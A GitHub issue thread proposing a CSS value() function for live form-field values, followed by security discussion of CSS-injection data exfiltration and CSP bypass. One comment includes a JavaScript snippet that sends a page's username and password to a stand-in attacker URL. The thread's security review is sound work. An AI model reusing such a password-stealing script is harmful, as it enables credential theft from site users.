Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[css-values-5] value() function #7869

Open
brandonmcconnell opened this issue Oct 12, 2022 · 13 comments
Open

[css-values-5] value() function #7869

brandonmcconnell opened this issue Oct 12, 2022 · 13 comments

Comments

@brandonmcconnell
Copy link

brandonmcconnell commented Oct 12, 2022

The problem

CSS doesn't yet have a way to retrieve the value property for an input/select/textarea/etc or to use/reuse those values in any useful way since we can't pass values up the cascade and form field elements generally (ever?) don't have descendant elements.

It's possible to set the value attribute on a form field but not to use the updated value of that field once it's been changed via user input. often the case that when the value of that field changes, the attribute itself remains the same, standing more so as a reference to the field's initial value than an indicator of its "live" value.

In other words, without using JS, access to a field's value is impossible.

Description of the proposal

I propose adding a value() function which returns the active or "live" value of any value-holding element, namely form fields. The syntax would be fairly similar to the existing & future attr() syntax.

Background

As mentioned in "The problem" section above, since we can't pass values up the cascade and form field elements don't have descendant elements, in order for this function to be useful, it needs a way to expose these values in such a way that they can be re-used throughout the cascade, even in other areas not neighboring the fields themselves.

For this reason, this issue should be treated as a stacked issue atop #7866

Issue #7866 provides a way for any CSS values to be stored at a global scope and be re-used as needed.

Syntax

value([syntax?])

Usage

The single syntax argument would be optional, equipping a developer to set the intended syntax for the result, where leaving it empty would use the field's intrinsic syntax.

For example, using…

  • value(number) or value() on input[type="number"] or input[type="range"] would result in a number value, since number is the intrinsic syntax for those input types
  • value(string) on input[type="number"] or input[type="range"] would result in the field's value but parsed as a string which could then be used anywhere a string could be used (e.g. the content property of a pseudo-element)
  • value(string) or value() on any of the following types would result in a string/text value, since that is the intrinsic and intended syntax for those input types
    • input[type="text"]
    • input[type="email"]
    • input[type="tel"]
    • input[type="search"]
    • input[type="url"]
    • input[type="radio"]:checked
    • input[type="checkbox"]:checked
    • select > option:selected
    • textarea
  • value(number) on any of these ☝🏼 however would result in the field's value parsed as a number. In any case where that numeric parsing fails, that declaration is ignored and skipped. When the pasring succeeds, the number returned can be used anywhere a number would normally be accepted.
  • value(color) or value() on input[type="color"] would result in a color value, since color is the intrinsic syntax for that input types

Considerations

  • When first tossing around this idea, I thought it might be more complicated to account for select, checkbox, and radio button values, but after giving it more thought, I think those should work as desired naturally. The key difference—as mentioned in the "Usage" examples above—is that a developer should store the value for the active (:checked or :selected) field itself, not just all select/checkbox/radio fields, like this:
    [type="checkbox"]:checked {
      --value: value();
    }
    [type="radio"]:checked {
      --value: value();
    }
    select > option:selected {
      --value: value();
    }
  • While attribute modifications can be tracked using MutationObserver.observe, value changes would likely be more appropriately tracked using the input and change events.
  • There are many input types which don't (yet) have a CSS representation or equivalent syntax. It would be worth discussing that a bit deeper to see how/if those should be handled and evaluated.

A more complete example

How might this look in practice?

* different values for input's value attribute vs. property ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┬┄┄┄┄┄┄┄┄┄┐
                                                                            ┆         ┆
html ━┓                                                                     ┆         ┆
      ┣━ head                                                               ┆         ┆
      ┗━ body ━┓                                                            ┆         ┆
               ┣━ div ━┓                                                    ┆         ┆
               ┃       ┣━ span                                              ┆         ┆
               ┃       ┗━ div#progress                                      ┆         ┆
               ┗━ form ━┓                                                   ┆         ┆
                        ┗━ input[type="range"][min=0][max=100][step=1][value=10]{value: 30}
@property --range-min {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
@property --range-max {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
@property --range-val {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
span::before {
  content: "The current value, " var(--range-val) ", is between " var(--range-min) " and " var(--range-max);
}
div#progress {
  --offset-max: var(--range-max) - var(--range-min);
  --offset-val: var(--range-val) - var(--range-min);
  --stop: calc((var(--offset-val) / var(--offset-max)) * 100%);
  background: linear-gradient(to right, black var(--stop), white var(--stop));
}
form > input[type="range"]#range {
  --range-min: attr(min number);
  --range-max: attr(max number);
  --range-val: value();
}

This example demonstrates how you might use value() paired with attr() and global variables to take a range input's value, min, and max values and create a label and makeshift progress bar using them, all done using only CSS.

This is just one example, and many more could be made, and I have no doubt I'll create several more as I continue to iterate on this concept and work toward a viable implementation.

@brandonmcconnell brandonmcconnell changed the title [css-values] value() function [css-values] value() function Oct 12, 2022
@Loirooriol
Copy link
Contributor

Concern: if the value can be concatenated with strings/urls, then this would make it easier for attackers to exfiltrate information. See #5136

@brandonmcconnell
Copy link
Author

@Loirooriol Couldn't attackers do that in the console by simply using element.value? This would essentially work the same as that, so I think any of the same protections we have in place for JS we should have here, too— absolutely, CORS or otherwise.

I'm also not so sure this would be easier than using JS for such attacks. I really appreciate your feedback, and I'd love to keep discussing it to find an implementation/spec that's as safe and as it is powerful.

@Loirooriol
Copy link
Contributor

Loirooriol commented Oct 12, 2022

Not attackers with physical access that can use the console. I mean attackers that use XSS or something to insert malicious third-party CSS into a legitimate website. And sure, if the attacker can inject JS then it will be trivial, but typically there are more protections against JS injection than against CSS injection.

Just mentioning this since some concerns were already raised about attr(), which doesn't have access to the current value, value() is more dangerous.

@brandonmcconnell
Copy link
Author

@Loirooriol Yeah, it's a valid concern. I think it would be worth having a larger conversation about protecting against that before implementing a feature like this.

I don't think we necessarily need to protect against injected styles/scripts from browser extensions, since those generally have local access to the console. However, maybe we can block outside style-injection attacks like that under the same umbrella of XSS security.

@brandonmcconnell brandonmcconnell changed the title [css-values] value() function [css-values-5] value() function Oct 12, 2022
@tabatkins
Copy link
Member

Apologies, but I don't understand how your example is intended to work. You're using attr() and value() on the input itself to set some custom properties, but these properties are only visible to the input itself (and its pseudo-elements). But then you try to use those properties on a span elsewhere in the DOM, with no way for it to see the input's values for the properties.

Ohhh, I see you're using your other idea for a "global" variable that resolves its value to the most specific rule setting it and is then visible to the entire page. Without that, are there still reasonable use-cases for this?

@brandonmcconnell
Copy link
Author

@tabatkins Hi Tab, yes, sorry— I didn't call out the related issue #7866 very "loudly" in my brief, so it could easily have been missed. My apologies for that.

Without that, there are use cases for the element itself and pseudos as you said, but no, the real value (ha) here would likely source from the value being exposed via the sort of change proposed in #7866.

Thanks for thinking through this. Not sure if there's a way to press pause on this issue until the other is resolved or until this otherwise makes sense 🤷🏻‍♂️

@arturjanc
Copy link

As mentioned above, this raises security concerns similar to the ones described in web-platform-tests/interop#86 (comment)

Specifically, this would allow CSS injections to steal sensitive secrets from the DOM, even in situations where such injections are prohibited from executing scripts due to Content Security Policy restrictions.

An additional aspect is that, as proposed, this would also allow the leaking of script#nonce properties which are purposefully not available as attributes to prevent them from being accessed by CSS and used to bypass CSP to regain script execution (see whatwg/html#2369).

@brandonmcconnell
Copy link
Author

@arturjanc Couldn't a script that has access to injecting elements already perform a similar attack like this?

const maliciousPasswordSender = document.createElement('img');
maliciousPasswordSender.width = 1;
maliciousPasswordSender.height = 1;
maliciousPasswordSender.style.position = 'fixed';
maliciousPasswordSender.style.bottom = 0;
maliciousPasswordSender.style.right = 0;
document.body.append(maliciousPasswordSender);

const username = () => document.getElementById('username');
const passwordField = document.querySelector('[type="password"]');
passwordField.addEventListener('change', () => {
  const baseUrl = 'http://houseofcybercrime.com/stashpass';
  maliciousPasswordSender.src = `${baseUrl}?user=${username.textContent}&password=${passwordField.value};
})

I do acknowledge the vulnerability you're pointing out; I'm just trying to understand how that is more insecure than what is already in place.

Perhaps for this case specifically, what could help here to avoid any additional security vulnerabilities with value() would be some secure way for only first-party scripts to whitelist elements that would allow access to them using value() in this way, something like a "public" attribute, but more secure than a mere attribute.

@Loirooriol
Copy link
Contributor

many sites focus on preventing script execution by setting script-src, but have relatively lax policies when it comes to styles

@arturjanc
Copy link

A script by definition has full same-origin access to the data in the origin of the application which executes the script. A stylesheet, while still quite powerful, is much more limited in the data it can access. When we increase the capabilities of CSS, we need to take into account how these capabilities will affect existing websites -- this is where concerns around the effect on content passed through CSS sanitizers or the potential for Content Security Policy bypasses come in.

Limiting value() to data explicitly marked as readable by stylesheets seems like a reasonable possible solution to explore here.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Nov 15, 2022

Yeah, I'm all for that!

With that in mind, maybe this could actually work using something as simple as a special HTML attribute that browsers will require elements to have in order to execute either attr() or value() on them since only first-party scripts would have the ability to add such an attribute post-pageload which are already trusted anyway.

CSS attr() and value() would then be limited to only those "whitelisted" elements. 👏🏼

@brandonmcconnell
Copy link
Author

Circling back to this as it's been a while since the last activity. Are there any steps I can take to push this proposal forward, along with its related dependency #7866?

attn @tabatkins @arturjanc @Loirooriol

@arturjanc
Copy link

From a security perspective the approach we talked about above would likely make this okay, so this probably boils down to whether CSS editors support this proposal and if there's implementer interest in making it happen.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants